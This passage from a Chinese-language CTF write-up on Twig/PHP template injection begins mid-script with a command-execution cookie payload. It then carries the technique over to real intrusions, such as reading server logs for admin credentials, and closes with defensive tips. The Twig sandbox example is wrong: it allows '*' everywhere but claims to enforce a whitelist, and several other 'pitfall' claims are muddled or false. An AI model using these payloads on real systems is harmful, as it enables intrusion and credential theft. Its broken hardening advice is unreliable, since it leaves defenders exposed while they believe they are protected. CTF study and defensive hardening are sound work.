system('cat /flag.txt') }}"} r = requests.get("http://challenge.example.com", cookies=cookies) print(r.text)5. 实战能力延伸:从CTF到真实渗透的思维迁移5.1 如何把CTF技巧转化为真实漏洞挖掘能力?CTF的SSTI题是高度简化的模型,真实Web应用的复杂度高得多。但核心思维可以平移:识别模板上下文:在真实渗透中,不要只盯着{{ }},还要看<%= %>(ERB)、{# #}(Jinja2)、<?php echo $var; ?>(原生PHP)——不同语言的模板语法不同,但注入原理相通。关注第三方组件:很多企业用phpdotenv加载环境变量,若APP_DEBUG=true且模板中输出{{ app.debug }},就可能泄露.env内容。利用日志文件:真实服务器的日志(如/var/log/apache2/access.log)常被当作模板资源加载,用{{ source('/var/log/apache2/access.log') }}可读取其他用户的请求,找到管理员登录凭证。我在某次真实渗透中,就是通过读取Nginx错误日志,发现管理员在调试时把数据库密码明文写在error_log里,最终拿下整个内网。5.2 防御视角:给开发者的3条硬性建议作为经常帮企业做安全加固的从业者,我给PHP开发团队的建议不是“别用Twig”,而是:永远开启autoescape:即使前端保证输入安全,也要双重防护。Twig默认开启,但很多团队在dev环境关掉,上线时忘记打开。禁用危险函数:在php.ini中加入disable_functions = system,exec,passthru,shell_exec,proc_open,从根源切断命令执行链。使用沙箱模式:Twig的SandboxExtension不是摆设。配置示例:$twig = new Environment($loader); $twig->addExtension(new SandboxExtension(new \Twig\Sandbox\SecurityPolicy( ['*'], // 允许的函数 ['*'], // 允许的过滤器 ['*'], // 允许的测试 ['*'] // 允许的属性 )));这样即使模板被注入,也只能调用白名单内的函数。5.3 个人经验沉淀:我踩过的7个最痛的坑在Smarty中用{php}标签时忘了加{literal}:导致<?php被浏览器解析为HTML注释,后端根本收不到。Twig中{{ }}里嵌套{# #}注释:{{ {# comment #} 1+1 }}会报错,因为Twig解析器先处理注释再处理表达式。用file_get_contents读取大文件导致内存溢出:/proc/self/environ只有几KB,但/usr/bin/php有10MB,直接崩溃。忽略HTTP状态码:{{ system('exit 1') }}返回500错误,但页面仍显示“Welcome, !”,误以为失败。在Docker环境测试时路径错误:本地/etc/passwd在容器里是/etc/passwd,但/var/www/html可能映射到/app。用Burp Intruder爆破时并发数设太高:触发服务器限流,所有请求返回503。相信题目描述的“稳定”二字:Cookie is so stable其实是反讽——真正稳定的是漏洞,不是Cookie。最后分享一个小技巧:每次开始打SSTI题前,先在本地建一个test.php,内容为<?php echo $_COOKIE['user']; ?>,然后用curl -b "user={{7*7}}" http://localhost/test.php测试。如果返回49,说明环境OK;如果返回{{7*7}},说明PHP没解析模板——立刻检查Apache配置或PHP版本。这个动作30秒搞定,能避免80%的环境配置问题。